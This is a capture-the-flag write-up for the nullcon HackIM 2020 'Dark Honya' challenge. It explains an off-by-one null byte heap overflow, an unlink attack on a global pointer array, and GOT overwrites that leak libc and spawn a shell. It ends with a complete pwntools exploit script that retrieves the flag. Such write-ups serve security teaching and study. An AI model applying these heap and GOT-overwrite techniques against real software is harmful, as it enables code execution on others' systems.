Dark Honya – nullcon HackIM 2020

Points: 460 (dynamic)


  1. Null byte overflow on heap chunk
  2. Free overflown chunk
  3. Overwrite ptr array
  4. Write printf@plt on free@got to obtain a libc leak
  5. Write system on atoi@got to get a shell

Binary Mitigations

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)


The program provided three functionalities:

1. Buy a book

void buy()
  char *chunk; 
  signed int i;

  for ( i = 0; ptr[i]; ++i )
  if ( i <= 15 )
    chunk = malloc(0xF8);
    puts("Name of the book?");
    ptr[i] = chunk;
    puts("Next time bring a bag with you!");

2. Return a book

void put_back()
  int idx; 

  puts("Which book do you want to return?");
  idx = read_int();
  if ( (unsigned int)idx > 0xF )
    puts("boy, you cannot return what you dont have!");
  ptr[idx] = 0;

3. Write on a book

void write()
  int idx; 

  idx = read_int();
  if ( (unsigned int)idx <= 0xF )
    puts("Name of the book?");
    puts("Writing in the air now?");


The binary uses read_f8_buff when reading data to buffers. This function reads 0xf8 bytes to a buffer and appends a ‘\x00’ character to the end of the buffer. If 0xf8 characters are provided, the ‘\x00’ will be appended out of bounds.

void read_f8_buff(char *buff)
  int bytes_read; 

  bytes_read = read(0, buff, 0xF8);
  if ( bytes_read == -1 )
    puts("Err read string");
  buff[bytes_read] = 0; // off by one vulnerability

Exploitation Plan

Step 1 - Control global ptr array entries

We can leverage the off-by-one vulnerability in read_f8_buffer to force a coalesce with an allocated chunk. This will call the unlink macro.

/* Take a chunk off a bin list */
#define unlink(AV, P, BK, FD) {                                            
    FD = P->fd;								      
    BK = P->bk;					
    // we have to satisfy this check
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))		      
      malloc_printerr (check_action, "corrupted double-linked list", P, AV);  
    else {		
        // important part
        FD->bk = BK;							   
        BK->fd = FD;							      

By controlling the FD and BK pointers, we can write the chunk BK and FDs address on arbitrary memory, as long as FD->bk == P and BK->fd == P. So, effectively, we must have a pointer in memory to P.

When we allocate a chunk its address is stored on the global ptr list.

This address points to the usable area inside the chunk (i.e. not the actual beginning of the chunk). With this in mind we prepare a fake chunk at the stored address with modified size,fd and bkpointers and next chunk’s prev_size. We then free the next chunk to trigger a coalesce which will use the unlink macro.

This will overwrite ptr_array[2] with &ptr_array-8 (fake_chunk->fd).

Step 2 - Leak libc

We now control the global ptr array, so we can insert arbitrary addresses and use the write functionality to achieve a write_what_where. We will now:

  1. Insert free@got’s address on the ptr array
  2. Use the write functionality to replace the free@got with printf@plt
  3. “Free” a chunk with a format string as it’s content which will call printf and get us alibc leak

Step 3 - Get shell

Since we have alibc leak, the next step is to call system("/bin/sh"). To do this we overwrite the atoi entry on the got with system. This way when the program asks us for the menu option we simply provide the string /bin/sh.

Exploit Script

from pwn import *

def go():
    s = remote("pwn2.ctf.nullcon.net", 5002)
    libc = ELF("./libc-2.23.so")
    ptr = 0x6021b0
    leak_offset = 0x20830
    # we're not using the name

    # alocate 4 chunks
    for n in range(5-1):
        alloc(s, chr(ord('A')+n)*0x10)
    # alocate 5th chunk with format string needed to obtain a leak
    alloc(s, "LEAK:%15$p")

    # .bss entry must point to chunk-0x10, so we will create a fake chunk
    # 0x10 bytes after our allocated chunk, populating the prev_size with the 
    # correct size of our fake chunk
    write_name(s, 2, '\x00'*8 + p64(0xf1) + p64(ptr-0x18) + p64(ptr-0x10) + (0xf8-0x28)*'A' + p64(0xf0))

    # free the third chunk, triggering the unlink 
    free(s, 3)

    # free 0x602018
    # &ptr-0x8 is now written on the third entry of the pointer list
    # we now use it to change the first pointer to point to free@got
    write_name(s, 2, '\x00'*8 + p64(0x602018))

    # overwrite both free and puts to printf
    write_name(s, 0, p64(0x400680) + p64(0x400680))

    # trigger the printf on the fifth chunk and obtain a libc leak
    free(s, 4)

    libc.address = int(s.recv(14)[2:], 16) - leak_offset

    log.info("libc      @ {}".format(hex(libc.address)))

    # atoi 0x602060
    # replace atoi with system
    write_name(s, 2, '\x00'*8 + p64(0x602060))

    write_name(s, 0, p64(libc.symbols['system']))   

    s.sendline("cat flag")



# hackim20{Cause_Im_coming_atcha_like_a_dark_honya_?}